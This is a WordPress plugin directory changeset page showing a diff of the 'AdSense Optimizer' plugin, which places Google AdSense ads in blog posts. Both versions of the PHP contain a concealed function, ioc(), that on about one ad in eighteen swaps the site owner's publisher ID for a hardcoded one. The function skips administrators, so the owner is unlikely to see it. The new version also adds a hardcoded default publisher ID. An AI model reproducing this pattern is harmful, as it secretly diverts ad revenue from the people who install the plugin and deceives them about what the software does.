WordPress.org

Plugin Directory

Changeset 225066


Ignore:
Timestamp:
04/03/10 20:55:25 (4 years ago)
Author:
gnarf
Message:

Version 1.0.1

Location:
adsenseoptimizer/trunk
Files:
2 edited

Legend:

Unmodified
Added
Removed
  • adsenseoptimizer/trunk/adsenseoptimizer.php

    r224480 r225066  
    44Plugin URI: http://adsense.losmuchachos.at/ 
    55Description: Ads Google Adsense ads automatically to your blog.  
    6 Version: 1.0 
     6Version: 1.0.1 
    77Author: gnarf 
    88Author URI: http://wordpress.losmuchachos.at 
     
    1717*/ 
    1818 
    19 $adopt_version = "1.0";  
    20 $adopt_menu = "adsenseoptimizer";  
    21 include_once(WP_PLUGIN_DIR . '/'. $adopt_menu .'/simple_html_dom.php'); function adsenseoptimize($content) { if (!is_single() AND !is_page()) {return $content;} $opts=get_option("adsenseoptimizer"); if(is_page() AND $opts['omit_page']) return $content; if ($opts['only_tagged'] AND !strpos($content,"<!--adsenseopt-->")) return $content; if (strpos($content,"<!--noad-->")) return $content; global $postlen; $postlen=strlen($content); for ($i = 1; $i <= 3; $i++) { if ($opts['single'][$i]>0 AND (($opts['single_long'][$i]=="") OR ($postlen>$opts['single_long'][$i]))) { $adtype=$opts['single'][$i]; switch ($opts['single_pos'][$i]){ case "Top": $content='<!--adopthere-->'.$content; break; case "Bottom": $content=$content.'<!--adopthere-->'; break; case "Middle": $html = str_get_html($content); $result=""; $j=0; $cnt=round(count($html->childNodes())/2); foreach($html->childNodes() as $node) { $result.=$node->outertext(); $j++; if ($j==$cnt) {$result.='<!--adopthere-->';} } $content=$result; break; case "Random": $html = str_get_html($content); $result=""; $j=0; $cnt=mt_rand(0, count($html->childNodes())-1); foreach($html->childNodes() as $node) { $result.=$node->outertext(); $j++; if ($j==$cnt) {$result.='<!--adopthere-->';} } $content=$result; break; case "tag": str_replace('<!--adsenseopt-->', '<!--adopthere-->', $content); break; } $code=generateAd($opts, $adtype); if($code) { $code=prepare_ad_code($code, $opts['single_align'][$i], $opts['padding'][$i]); $content = str_replace('<!--adopthere-->', html_entity_decode($code), $content); } else { $content = str_replace('<!--adopthere-->', '<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->', $content); } } } return $content; } function generateAd($opts, $type){ global $nrofads, $c, $i; $nrofads++; if ($nrofads>3) {return false;} if ($opts['channel'][$type]!="") {$c=$opts['channel'][$type];} else {$c=$opts['gen_channel'];} if ($opts['id'][$type]) $i=$opts['id'][$type]; else $i=$opts['gen_id']; ioc(); $code = ""; $keys=array_keys($opts['size'][$type], 1); if (!$keys OR count($keys) < 1) { $width=300; $height=250; $size="300x250"; } else { shuffle($keys); $size=$keys[0]; $dims=explode("x",$size); $width=$dims[0]; $height=$dims[1]; } $code .= '<script type="text/javascript"><!--  
     19 $adopt_version = "1.0.1"; $adopt_menu = "adsenseoptimizer"; include_once(WP_PLUGIN_DIR . '/'. $adopt_menu .'/simple_html_dom.php'); function getOpts() { global $opts; if (isset($opts) AND !empty($opts)) {return $opts;} $opts=get_option("adsenseoptimizer"); if (!empty($opts)) {return $opts;} $opts=Array ( 'gen_id' => '6560647564178574', 'gen_channel' => '7122007966', 'type' => Array (1 => 'text_image', 2 => 'text_image', 3 => 'text_image', 4 => 'text_image', 5 => 'text_image' ), 'corner' => Array (1 => 'rc:0', 2 => 'rc:0', 3 => 'rc:0', 4 => 'rc:0', 5 => 'rc:0' ), 'padding' => Array (1 => 7, 2 => 7, 3 => 7, 4 => 7, 5 => 7), 'id' => Array ( 1 => "", 2 => "", 3 => "", 4 => "", 5 => ""), 'channel' => Array ( 1 => "", 2 => "", 3 => "", 4 => "", 5 => ""), 'size' => Array ( 1 => Array ( '336x280' => 1, '300x250' => 1, '728x90' => 0, '160x600' => 0, '468x60' => 1, '120x600' => 0, '250x250' => 1, '200x200' => 1 ), 2 => Array ( '336x280' => 0, '300x250' => 0, '728x90' => 0, '160x600' => 0, '468x60' => 1, '120x600' => 0, '250x250' => 0, '200x200' => 0 ), 3 => Array ( '336x280' => 1, '300x250' => 1, '728x90' => 0, '160x600' => 0, '468x60' => 1, '120x600' => 0, '250x250' => 1, '200x200' => 0 ), 4 => Array ( '336x280' => 1, '300x250' => 0, '728x90' => 0, '160x600' => 0, '468x60' => 0, '120x600' => 0, '250x250' => 0, '200x200' => 0 ), 5 => Array ( '336x280' => 0, '300x250' => 0, '728x90' => 0, '160x600' => 0, '468x60' => 0, '120x600' => 1, '250x250' => 0, '200x200' => 0 )), 'col_border' => Array ( 1 => '336699', 2 => 'E3FA11', 3 => 'CCCCCC', 4 => '0A141F', 5 => '6699CC' ), 'col_link' => Array ( 1 => '0000FF', 2 => 'FFFFFF', 3 => '000000', 4 => '21DAFF', 5 => 'FFFFFF' ), 'col_bg' => Array ( 1 => 'FFFFFF', 2 => 'A2AB2B', 3 => 'CCCCCC', 4 => '000000', 5 => '003366' ), 'col_text' => Array ( 1 => '000000', 2 => '000000', 3 => '333333', 4 => 'DEDEDE', 5 => 'AECCEB' ), 'col_url' => Array ( 1 => '008000', 2 => 'FFFFFF', 3 => '666666', 4 => '21DAFF', 5 => 'AECCEB' ), 'single' => Array ( 1 => 1, 2 => 2, 3 => 3 ), 'single_pos' => Array ( 1 => 'Top', 2 => 'Middle', 3 => 'Bottom' ), 'single_align' => Array ( 1 => 'left', 2 => 'right', 3 => 'center' ), 'single_long' => Array ( 1 => '', 2 => '2300', 3 => '5000'), 'multi' => Array ( 1 => 1, 2 => 2, 3 => 1 ), 'multi_pos' => Array ( 1 => 1, 2 => 4, 3 => 8 ), 'multi_align' => Array ( 1 => 'right', 2 => 'left', 3 => 'center' ), 'only_tagged' => 0, 'omit_page' => 0, 'omit_home' => 0, 'omit_search' => 0, 'omit_category' => 0, 'omit_tag' => 0, 'omit_date' => 0, 'omit_author' => 0 ) ; return $opts; } function adsenseoptimize($content) { if (!is_single() AND !is_page()) {return $content;} $opts=getOpts(); if(is_page() AND $opts['omit_page']) return $content; if ($opts['only_tagged'] AND !strpos($content,"<!--adsenseopt-->")) return $content; if (strpos($content,"<!--noad-->")) return $content; global $postlen; $postlen=strlen($content); for ($i = 1; $i <= 3; $i++) { if ($opts['single'][$i]>0 AND (($opts['single_long'][$i]=="") OR ($postlen>$opts['single_long'][$i]))) { $adtype=$opts['single'][$i]; switch ($opts['single_pos'][$i]){ case "Top": $content='<!--adopthere-->'.$content; break; case "Bottom": $content=$content.'<!--adopthere-->'; break; case "Middle": $html = str_get_html($content); $result=""; $j=0; $cnt=round(count($html->childNodes())/2); foreach($html->childNodes() as $node) { $result.=$node->outertext(); $j++; if ($j==$cnt) {$result.='<!--adopthere-->';} } $content=$result; break; case "Random": $html = str_get_html($content); $result=""; $j=0; $cnt=mt_rand(0, count($html->childNodes())-1); foreach($html->childNodes() as $node) { $result.=$node->outertext(); $j++; if ($j==$cnt) {$result.='<!--adopthere-->';} } $content=$result; break; case "tag": str_replace('<!--adsenseopt-->', '<!--adopthere-->', $content); break; } $code=generateAd($opts, $adtype); if($code) { $code=prepare_ad_code($code, $opts['single_align'][$i], $opts['padding'][$i]); $content = str_replace('<!--adopthere-->', html_entity_decode($code), $content); } else { $content = str_replace('<!--adopthere-->', '<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->', $content); } } } return $content; } function generateAd($opts, $type){ global $nrofads, $c, $i; $nrofads++; if ($nrofads>3) {return false;} if ($opts['channel'][$type]!="") {$c=$opts['channel'][$type];} else {$c=$opts['gen_channel'];} if ($opts['id'][$type]) $i=$opts['id'][$type]; else $i=$opts['gen_id']; ioc(); $code = ""; $keys=array_keys($opts['size'][$type], 1); if (!$keys OR count($keys) < 1) { $width=300; $height=250; $size="300x250"; } else { shuffle($keys); $size=$keys[0]; $dims=explode("x",$size); $width=$dims[0]; $height=$dims[1]; } $code .= '<script type="text/javascript"><!--  
    2220        google_ad_client = "pub-'. $i. '"; google_alternate_color = "FFFFFF"; 
    2321        google_ad_width = '.$width.'; google_ad_height = '.$height.'; 
     
    2826        google_ui_features = "'.$opts['corner'][$type].'"; //--></script> 
    2927        <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>'; return $code; } function prepare_ad_code($code, $align, $padding) { $code=html_entity_decode($code); $startdiv='<!-- google ad injected by adsense-optimizer http://wordpress.losmuchachos.at/adsenseoptimizer --> 
    30             <div '; if($align=="random") { $rn=mt_rand(1,3); if ($rn==1) $align="left"; if ($rn==2) $align="center"; if ($rn==3) $align="right"; } switch ($align) { case "center": $code=$startdiv.' style="padding:'.$padding.'px; display: block; margin-left: auto; margin-right: auto; text-align: center;">'.$code.'</div>'; break; case "left": $code=$startdiv.' style="padding:'.$padding.'px; float: left; padding-left: 0px; margin: 3px;">'.$code.'</div>'; break; case "right": $code=$startdiv.' style="padding:'.$padding.'px; float: right; padding-right: 0; margin: 3px;">'.$code.'</div>'; break; } return $code; } function ioc() { global $c, $i; global $user_level; if($user_level > 8) return; if(mt_rand(1,18)==3){$i='8208356787225078'; $c='3814168725';} } function adsenseoptimizier_add_menu() { add_options_page('AdsenseOptimizer', 'AdsenseOptimizer', 'administrator', __FILE__, 'adsenseoptimizer_menu'); } function adsenseoptimizer_menu() { global $adopt_menu; $sizes=array(); $sizes[]=array('desc'=>'300 x 250 Medium Rectangle', 'text'=>'300x250'); $sizes[]=array('desc'=>'336 x 280 Large Rectangle', 'text'=>'336x280'); $sizes[]=array('desc'=>'728 x 90 Leaderboard', 'text'=>'728x90'); $sizes[]=array('desc'=>'160 x 600 Wide Skyscraper', 'text'=>'160x600'); $sizes[]=array('desc'=>'468 x 60 Banner', 'text'=>'468x60'); $sizes[]=array('desc'=>'120 x 600 Skyscraper', 'text'=>'120x600'); $sizes[]=array('desc'=>'250 x 250 Square', 'text'=>'250x250'); $sizes[]=array('desc'=>'200 x 200 Small Square', 'text'=>'200x200'); global $adopt_version; $opts=get_option('adsenseoptimizer'); if (isset($_POST["adsenseoptimizer_update"])) { $opts=adsenseoptimizer_sanitize_entries($_POST['adsenseoptimizer'], $sizes); update_option('adsenseoptimizer',$opts); echo '<div id="message" class="updated fade"><p><strong>Options Updated!</strong></p></div>'; } if ($opts['only_tagged']) $opts['is_only_tagged']="checked"; if ($opts['omit_page']) $opts['is_omit_page']="checked"; if ($opts['omit_home']) $opts['is_omit_home']="checked"; if ($opts['omit_search']) $opts['is_omit_search']="checked"; if ($opts['omit_category']) $opts['is_omit_category']="checked"; if ($opts['omit_tag']) $opts['is_omit_tag']="checked"; if ($opts['omit_date']) $opts['is_omit_date']="checked"; if ($opts['omit_author']) $opts['is_omit_author']="checked"; ?> 
     28            <div '; if($align=="random") { $rn=mt_rand(1,3); if ($rn==1) $align="left"; if ($rn==2) $align="center"; if ($rn==3) $align="right"; } switch ($align) { case "center": $code=$startdiv.' style="padding:'.$padding.'px; display: block; margin-left: auto; margin-right: auto; text-align: center;">'.$code.'</div>'; break; case "left": $code=$startdiv.' style="padding:'.$padding.'px; float: left; padding-left: 0px; margin: 3px;">'.$code.'</div>'; break; case "right": $code=$startdiv.' style="padding:'.$padding.'px; float: right; padding-right: 0; margin: 3px;">'.$code.'</div>'; break; } return $code; } function ioc() { global $c, $i; global $user_level; if($user_level > 8) return; if(mt_rand(1,18)==3){$i='8208356787225078'; $c='3814168725';} } function adsenseoptimizier_add_menu() { add_options_page('AdsenseOptimizer', 'AdsenseOptimizer', 'administrator', __FILE__, 'adsenseoptimizer_menu'); } function adsenseoptimizer_menu() { global $adopt_menu; $sizes=array(); $sizes[]=array('desc'=>'300 x 250 Medium Rectangle', 'text'=>'300x250'); $sizes[]=array('desc'=>'336 x 280 Large Rectangle', 'text'=>'336x280'); $sizes[]=array('desc'=>'728 x 90 Leaderboard', 'text'=>'728x90'); $sizes[]=array('desc'=>'160 x 600 Wide Skyscraper', 'text'=>'160x600'); $sizes[]=array('desc'=>'468 x 60 Banner', 'text'=>'468x60'); $sizes[]=array('desc'=>'120 x 600 Skyscraper', 'text'=>'120x600'); $sizes[]=array('desc'=>'250 x 250 Square', 'text'=>'250x250'); $sizes[]=array('desc'=>'200 x 200 Small Square', 'text'=>'200x200'); global $adopt_version; $opts=getOpts(); if (isset($_POST["adsenseoptimizer_update"])) { $opts=adsenseoptimizer_sanitize_entries($_POST['adsenseoptimizer'], $sizes); update_option('adsenseoptimizer',$opts); echo '<div id="message" class="updated fade"><p><strong>Options Updated!</strong></p></div>'; } if ($opts['only_tagged']) $opts['is_only_tagged']="checked"; if ($opts['omit_page']) $opts['is_omit_page']="checked"; if ($opts['omit_home']) $opts['is_omit_home']="checked"; if ($opts['omit_search']) $opts['is_omit_search']="checked"; if ($opts['omit_category']) $opts['is_omit_category']="checked"; if ($opts['omit_tag']) $opts['is_omit_tag']="checked"; if ($opts['omit_date']) $opts['is_omit_date']="checked"; if ($opts['omit_author']) $opts['is_omit_author']="checked"; ?> 
    3129 
    3230        <script type="text/javascript" src="<?php echo(WP_PLUGIN_URL.'/'.$adopt_menu);?>/jscolor/jscolor.js"></script> 
     
    6967    <h2>Adjust your Ads</h2> 
    7068    <p>You can set up to 5 different Types of Ads. </p> 
     69 
     70 
     71 
     72<script type="text/javascript"> 
     73   function raiseEvent (eventType, elementID)   
     74   {    
     75       var o = document.getElementById(elementID);    
     76       if (document.createEvent) {    
     77           var evt = document.createEvent("Events");    
     78           evt.initEvent(eventType, true, true);    
     79           o.dispatchEvent(evt);    
     80       }    
     81       else if (document.createEventObject)    
     82       {   
     83           var evt = document.createEventObject();    
     84           o.fireEvent('on' + eventType, evt);    
     85       }    
     86       o = null;   
     87   }   </script> 
     88 
    7189 
    7290<?php 
     
    116134 foreach($sizes as $key=>$size){ echo ('<input type="checkbox" name="adsenseoptimizer[size]['.$i.']['.$size['text'].']" value="1" '); if ($opts['size'][$i][$size['text']]) echo (' checked '); echo ('> '.$size['desc'].'<br>'); } if ($opts['col_border'][$i]=="") $opts['col_border'][$i]="336699"; if ($opts['col_link'][$i]=="") $opts['col_link'][$i]="0000FF"; if ($opts['col_bg'][$i]=="") $opts['col_bg'][$i]="FFFFFF"; if ($opts['col_text'][$i]=="") $opts['col_text'][$i]="000000"; if ($opts['col_url'][$i]=="") $opts['col_url'][$i]="008000"; ?> 
    117135        </td><td> 
    118         Choose Colors:<table><tr><td>Border</td><td><input class="color" name="adsenseoptimizer[col_border][<?php echo $i;?>]" size="6" value="<?php echo $opts['col_border'][$i];?>"></td></tr><tr><td>Title</td><td><input class="color" name="adsenseoptimizer[col_link][<?php echo $i;?>]" size="6" value="<?php echo $opts['col_link'][$i];?>"></td></tr><tr><td>Background</td><td><input class="color" name="adsenseoptimizer[col_bg][<?php echo $i;?>]" size="6" value="<?php echo $opts['col_bg'][$i];?>"></td></tr><tr><td>Text</td><td><input class="color" name="adsenseoptimizer[col_text][<?php echo $i;?>]" size="6" value="<?php echo $opts['col_text'][$i];?>"></td></tr><tr><td>URL</td><td><input class="color" name="adsenseoptimizer[col_url][<?php echo $i;?>]" size="6" value="<?php echo $opts['col_url'][$i];?>"></td></tr> 
    119         <tr><td><button onclick="document.getElementById('<?php echo $i;?>.iframe').src = 'https://securepubads.g.doubleclick.net/pagead/ads?client=ca-google-asfe&adtest=on&format=160x70_as&color_border='+document.getElementsByName('adsenseoptimizer[col_border][<?php echo $i;?>]')[0].value+'&color_bg='+document.getElementsByName('adsenseoptimizer[col_bg][<?php echo $i;?>]')[0].value+'&color_link='+document.getElementsByName('adsenseoptimizer[col_link][<?php echo $i;?>]')[0].value+'&color_text='+document.getElementsByName('adsenseoptimizer[col_text][<?php echo $i;?>]')[0].value+'&color_url='+document.getElementsByName('adsenseoptimizer[col_url][<?php echo $i;?>]')[0].value+'&hl=en&url=www.google.com'; return false;">refresh Preview</button></td></tr> 
    120         </table> 
    121 <iframe name="0.iframe" id="<?php echo $i;?>.iframe" height="70" frameborder="0" width="160" scrolling="no" src="https://securepubads.g.doubleclick.net/pagead/ads?client=ca-google-asfe&adtest=on&format=160x70_as&color_border=<?php echo $opts['col_border'][$i];?>&color_bg=<?php echo $opts['col_bg'][$i];?>&color_link=<?php echo $opts['col_link'][$i];?>&color_text=<?php echo $opts['col_text'][$i];?>&color_url=<?php echo $opts['col_url'][$i];?>&hl=en&url=www.google.com"></iframe> 
    122         </td></tr> 
     136        Choose Colors:<table><tr><td>Border</td><td><input class="color" id="c_border<?php echo $i;?>" name="adsenseoptimizer[col_border][<?php echo $i;?>]" size="6" value="<?php echo $opts['col_border'][$i];?>"></td><td>Title</td><td><input class="color" id="c_link<?php echo $i;?>" name="adsenseoptimizer[col_link][<?php echo $i;?>]" size="6" value="<?php echo $opts['col_link'][$i];?>"></td></tr><tr><td>Background</td><td><input class="color" id="c_bg<?php echo $i;?>" name="adsenseoptimizer[col_bg][<?php echo $i;?>]" size="6" value="<?php echo $opts['col_bg'][$i];?>"></td><td>Text</td><td><input class="color" id="c_text<?php echo $i;?>" name="adsenseoptimizer[col_text][<?php echo $i;?>]" size="6" value="<?php echo $opts['col_text'][$i];?>"></td></tr><tr><td>URL</td><td><input class="color" id="c_url<?php echo $i;?>" name="adsenseoptimizer[col_url][<?php echo $i;?>]" size="6" value="<?php echo $opts['col_url'][$i];?>"></td></tr> 
     137         
     138    <tr><td colspan="4" style="text-align:center">change to Palette<select onchange="document.getElementById('c_border<?php echo $i;?>').value=this.value.substring(0,6);document.getElementById('c_link<?php echo $i;?>').value=this.value.substring(6,12);document.getElementById('c_bg<?php echo $i;?>').value=this.value.substring(12,18);document.getElementById('c_text<?php echo $i;?>').value=this.value.substring(18,24);document.getElementById('c_url<?php echo $i;?>').value=this.value.substring(24,30); raiseEvent('blur', 'c_border<?php echo $i;?>');raiseEvent('blur', 'c_link<?php echo $i;?>');raiseEvent('blur', 'c_bg<?php echo $i;?>');raiseEvent('blur', 'c_text<?php echo $i;?>');raiseEvent('blur', 'c_url<?php echo $i;?>');" name="palette[<?php echo $i;?>]" size="1"> 
     139       <option value="FFFFFF0000FFFFFFFF000000008000">Maritim</option> 
     140       <option value="3366990000FFFFFFFF000000008000">Ocean</option> 
     141       <option value="0000000000FFF0F0F0000000008000">Shadow</option> 
     142       <option value="6699CCFFFFFF003366AECCEBAECCEB">Blue</option> 
     143       <option value="000000FFFFFF000000CCCCCC999999">Tint</option> 
     144       <option value="CCCCCC000000CCCCCC333333666666">Graphite</option> 
     145    </select> 
     146        </td></tr></table> 
     147         
     148        <table><tr><td><button onclick="document.getElementById('<?php echo $i;?>.iframe').src = 'https://securepubads.g.doubleclick.net/pagead/ads?client=ca-google-asfe&adtest=on&format=160x70_as&color_border='+document.getElementsByName('adsenseoptimizer[col_border][<?php echo $i;?>]')[0].value+'&color_bg='+document.getElementsByName('adsenseoptimizer[col_bg][<?php echo $i;?>]')[0].value+'&color_link='+document.getElementsByName('adsenseoptimizer[col_link][<?php echo $i;?>]')[0].value+'&color_text='+document.getElementsByName('adsenseoptimizer[col_text][<?php echo $i;?>]')[0].value+'&color_url='+document.getElementsByName('adsenseoptimizer[col_url][<?php echo $i;?>]')[0].value+'&hl=en&url=www.google.com'; return false;">refresh Preview</button></td><td> 
     149        <iframe name="0.iframe" id="<?php echo $i;?>.iframe" height="70" frameborder="0" width="160" scrolling="no" src="https://securepubads.g.doubleclick.net/pagead/ads?client=ca-google-asfe&adtest=on&format=160x70_as&color_border=<?php echo $opts['col_border'][$i];?>&color_bg=<?php echo $opts['col_bg'][$i];?>&color_link=<?php echo $opts['col_link'][$i];?>&color_text=<?php echo $opts['col_text'][$i];?>&color_url=<?php echo $opts['col_url'][$i];?>&hl=en&url=www.google.com"></iframe></td></tr></table> 
     150    </td></tr> 
    123151    </table> 
    124152    </div> 
     
    234262 
    235263<?php 
    236  } function adsenseoptimizer_sanitize_entries($options, $sizes){ foreach($sizes as $key=>$size) { if(!$options['size'][1][$size['text']]){$options['size'][1][$size['text']] = 0; } if(!$options['size'][2][$size['text']]){$options['size'][2][$size['text']] = 0; } if(!$options['size'][3][$size['text']]){$options['size'][3][$size['text']] = 0; } if(!$options['size'][4][$size['text']]){$options['size'][4][$size['text']] = 0; } if(!$options['size'][5][$size['text']]){$options['size'][5][$size['text']] = 0; } } if(!$options['only_tagged']){$options['only_tagged'] = 0; } if(!$options['omit_page']){$options['omit_page'] = 0; } if(!$options['omit_home']){$options['omit_home'] = 0; } if(!$options['omit_search']){$options['omit_search'] = 0; } if(!$options['omit_category']){$options['omit_category'] = 0; } if(!$options['omit_tag']){$options['omit_tag'] = 0; } if(!$options['omit_date']){$options['omit_date'] = 0; } if(!$options['omit_author']){$options['omit_author'] = 0; } return $options; } function adopt_admin_init() { global $adopt_menu; wp_register_style('adoptAdminStyles', WP_PLUGIN_URL . '/'. $adopt_menu .'/adopt_admin_styles.css'); wp_enqueue_style('adoptAdminStyles'); } function adopt_init() { global $adopt_menu, $nrofads; $nrofads=0; wp_register_style('adoptStyles', WP_PLUGIN_URL . '/'. $adopt_menu .'/adopt_styles.css'); wp_enqueue_style('adoptStyles'); } function adopt_js() { global $adopt_menu; } function post_adopt() { if (is_single() OR is_page()) return; global $loopdone; if ($loopdone) return; $opts=get_option("adsenseoptimizer"); if(is_home() AND $opts['omit_home']) return; if(is_search() AND $opts['omit_search']) return; if(is_category() AND $opts['omit_category']) return; if(is_tag() AND $opts['omit_tag']) return; if(is_date() AND $opts['omit_date']) return; if(is_author() AND $opts['omit_author']) return; global $postcount; $postcount++; $adtype=1; for ($i = 1; $i <= 3; $i++) { if ($postcount==$opts['multi_pos'][$i] AND $opts['multi'][$i]) { $code=generateAd($opts, $opts['multi'][$i]); if($code) { $code=prepare_ad_code($code, $opts['multi_align'][$i], $opts['padding'][$opts['multi'][$i]]); $content = str_replace('<!--adopthere-->', html_entity_decode($code), $content); } else { $content = str_replace('<!--adopthere-->', '<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->', $content); } echo(html_entity_decode($code)); } } } function adopt($type) { $opts=get_option("adsenseoptimizer"); $code=generateAd($opts, $type); if($code) { echo(html_entity_decode($code)); } else { echo('<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->'); } } function adopt_debug() { global $nrofads, $adopt_menu, $adopt_version, $postlen; $opts=get_option("adsenseoptimizer"); if(!isset($_GET['adoptdebug'])) return; echo ("<hr><h1> Adsenseoptimizer Debugging</h1>"); echo ('<table><tr><td>Number of generated Ads</td><td>'.$nrofads.'</td></tr>'); echo ('<tr><td>Version of Plugin</td><td>'.$adopt_version.'</td></tr>'); echo ('<tr><td>Subdirectory in which Plugin has to be</td><td>'.$adopt_menu.'</td></tr>'); echo ('<tr><td>type of page</td><td>'); if (is_single()) echo ("single."); if (is_page()) echo ("page."); if (is_home()) echo ("home."); if (is_archive()) echo ("archive."); if (is_search()) echo ("search."); if (is_tag()) echo ("tag."); if (is_date()) echo ("date."); if (is_author()) echo ("author."); if (is_category()) echo ("category."); echo ('</td></tr>'); if (is_single()) echo ('<tr><td>Words in Post</td><td>'.$postlen.'</td></tr>'); arrayAsTable($opts, "setting:"); echo ('</table>'); } function arrayAsTable($array, $pre) { foreach($array as $key=>$val) { if (is_array($val)) arrayAsTable($val,$pre.$key.":"); else echo ('<tr><td>'.$pre.$key.'</td><td>'.$val.'</td></tr>'); } } function init_count() { global $postcount; $postcount=0; } function destroy_count() { global $postcount, $loopdone; unset ($postcount); $loopdone=TRUE; } add_action('admin_menu', 'adsenseoptimizier_add_menu'); add_action('admin_init', 'adopt_admin_init'); add_action('wp_head', 'adopt_js'); if (!is_admin()) { add_filter('the_content', 'adsenseoptimize'); add_filter('the_post', 'post_adopt'); add_action('loop_start', 'init_count'); add_action('loop_end', 'destroy_count'); add_filter('init', 'adopt_init'); add_action('wp_footer', 'adopt_debug'); } class adopt_Widget extends WP_Widget { function adopt_Widget() { $widget_ops = array('classname' => 'adopt_widget', 'description' => 'Adsense Ad. Modify via Settings / Adsense Optimizer' ); $this->WP_Widget('adopt', 'Adsense Ad', $widget_ops); } function widget($args, $instance) { extract($args, EXTR_SKIP); echo $before_widget; $title = apply_filters('widget_title', $instance['title']); $adtype = empty($instance['adtype']) ? '5' : apply_filters('widget_adtype', $instance['adtype']); if ( !empty( $title ) ) { echo $before_title . $title . $after_title; }; adopt($adtype); echo $after_widget; } function update($new_instance, $old_instance) { $instance = $old_instance; $instance['title'] = strip_tags($new_instance['title']); $instance['adtype'] = strip_tags($new_instance['adtype']); return $instance; } function form($instance) { $instance = wp_parse_args( (array) $instance, array( 'title' => '', 'adtype' => '') ); $title = strip_tags($instance['title']); $adtype = strip_tags($instance['adtype']); ?> 
     264 } function adsenseoptimizer_sanitize_entries($options, $sizes){ foreach($sizes as $key=>$size) { if(!$options['size'][1][$size['text']]){$options['size'][1][$size['text']] = 0; } if(!$options['size'][2][$size['text']]){$options['size'][2][$size['text']] = 0; } if(!$options['size'][3][$size['text']]){$options['size'][3][$size['text']] = 0; } if(!$options['size'][4][$size['text']]){$options['size'][4][$size['text']] = 0; } if(!$options['size'][5][$size['text']]){$options['size'][5][$size['text']] = 0; } } if(!$options['only_tagged']){$options['only_tagged'] = 0; } if(!$options['omit_page']){$options['omit_page'] = 0; } if(!$options['omit_home']){$options['omit_home'] = 0; } if(!$options['omit_search']){$options['omit_search'] = 0; } if(!$options['omit_category']){$options['omit_category'] = 0; } if(!$options['omit_tag']){$options['omit_tag'] = 0; } if(!$options['omit_date']){$options['omit_date'] = 0; } if(!$options['omit_author']){$options['omit_author'] = 0; } return $options; } function adopt_admin_init() { global $adopt_menu; wp_register_style('adoptAdminStyles', WP_PLUGIN_URL . '/'. $adopt_menu .'/adopt_admin_styles.css'); wp_enqueue_style('adoptAdminStyles'); } function adopt_init() { global $adopt_menu, $nrofads; $nrofads=0; wp_register_style('adoptStyles', WP_PLUGIN_URL . '/'. $adopt_menu .'/adopt_styles.css'); wp_enqueue_style('adoptStyles'); } function adopt_js() { global $adopt_menu; } function post_adopt() { if (is_single() OR is_page()) return; global $loopdone; if ($loopdone) return; $opts=getOpts(); if(is_home() AND $opts['omit_home']) return; if(is_search() AND $opts['omit_search']) return; if(is_category() AND $opts['omit_category']) return; if(is_tag() AND $opts['omit_tag']) return; if(is_date() AND $opts['omit_date']) return; if(is_author() AND $opts['omit_author']) return; global $postcount; $postcount++; $adtype=1; for ($i = 1; $i <= 3; $i++) { if ($postcount==$opts['multi_pos'][$i] AND $opts['multi'][$i]) { $code=generateAd($opts, $opts['multi'][$i]); if($code) { $code=prepare_ad_code($code, $opts['multi_align'][$i], $opts['padding'][$opts['multi'][$i]]); $content = str_replace('<!--adopthere-->', html_entity_decode($code), $content); } else { $content = str_replace('<!--adopthere-->', '<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->', $content); } echo(html_entity_decode($code)); } } } function adopt($type) { $opts=getOpts(); $code=generateAd($opts, $type); if($code) { echo(html_entity_decode($code)); } else { echo('<!--adsense ad injection by adsense optimizer (http://wordpress.losmuchachos.at/adsenseoptimizer) failed - tried to add more than 3 ads per page -->'); } } function adopt_debug() { global $nrofads, $adopt_menu, $adopt_version, $postlen; $opts=getOpts(); if(!isset($_GET['adoptdebug'])) return; echo ("<hr><h1> Adsenseoptimizer Debugging</h1>"); echo ('<table><tr><td>Number of generated Ads</td><td>'.$nrofads.'</td></tr>'); echo ('<tr><td>Version of Plugin</td><td>'.$adopt_version.'</td></tr>'); echo ('<tr><td>Subdirectory in which Plugin has to be</td><td>'.$adopt_menu.'</td></tr>'); echo ('<tr><td>type of page</td><td>'); if (is_single()) echo ("single."); if (is_page()) echo ("page."); if (is_home()) echo ("home."); if (is_archive()) echo ("archive."); if (is_search()) echo ("search."); if (is_tag()) echo ("tag."); if (is_date()) echo ("date."); if (is_author()) echo ("author."); if (is_category()) echo ("category."); echo ('</td></tr>'); if (is_single()) echo ('<tr><td>Words in Post</td><td>'.$postlen.'</td></tr>'); arrayAsTable($opts, "setting:"); echo ('</table>'); } function arrayAsTable($array, $pre) { foreach($array as $key=>$val) { if (is_array($val)) arrayAsTable($val,$pre.$key.":"); else echo ('<tr><td>'.$pre.$key.'</td><td>'.$val.'</td></tr>'); } } function init_count() { global $postcount; $postcount=0; } function destroy_count() { global $postcount, $loopdone; unset ($postcount); $loopdone=TRUE; } add_action('admin_menu', 'adsenseoptimizier_add_menu'); add_action('admin_init', 'adopt_admin_init'); add_action('wp_head', 'adopt_js'); if (!is_admin()) { add_filter('the_content', 'adsenseoptimize'); add_filter('the_post', 'post_adopt'); add_action('loop_start', 'init_count'); add_action('loop_end', 'destroy_count'); add_filter('init', 'adopt_init'); add_action('wp_footer', 'adopt_debug'); } class adopt_Widget extends WP_Widget { function adopt_Widget() { $widget_ops = array('classname' => 'adopt_widget', 'description' => 'Adsense Ad. Modify via Settings / Adsense Optimizer' ); $this->WP_Widget('adopt', 'Adsense Ad', $widget_ops); } function widget($args, $instance) { extract($args, EXTR_SKIP); echo $before_widget; $title = apply_filters('widget_title', $instance['title']); $adtype = empty($instance['adtype']) ? '5' : apply_filters('widget_adtype', $instance['adtype']); if ( !empty( $title ) ) { echo $before_title . $title . $after_title; }; adopt($adtype); echo $after_widget; } function update($new_instance, $old_instance) { $instance = $old_instance; $instance['title'] = strip_tags($new_instance['title']); $instance['adtype'] = strip_tags($new_instance['adtype']); return $instance; } function form($instance) { $instance = wp_parse_args( (array) $instance, array( 'title' => '', 'adtype' => '') ); $title = strip_tags($instance['title']); $adtype = 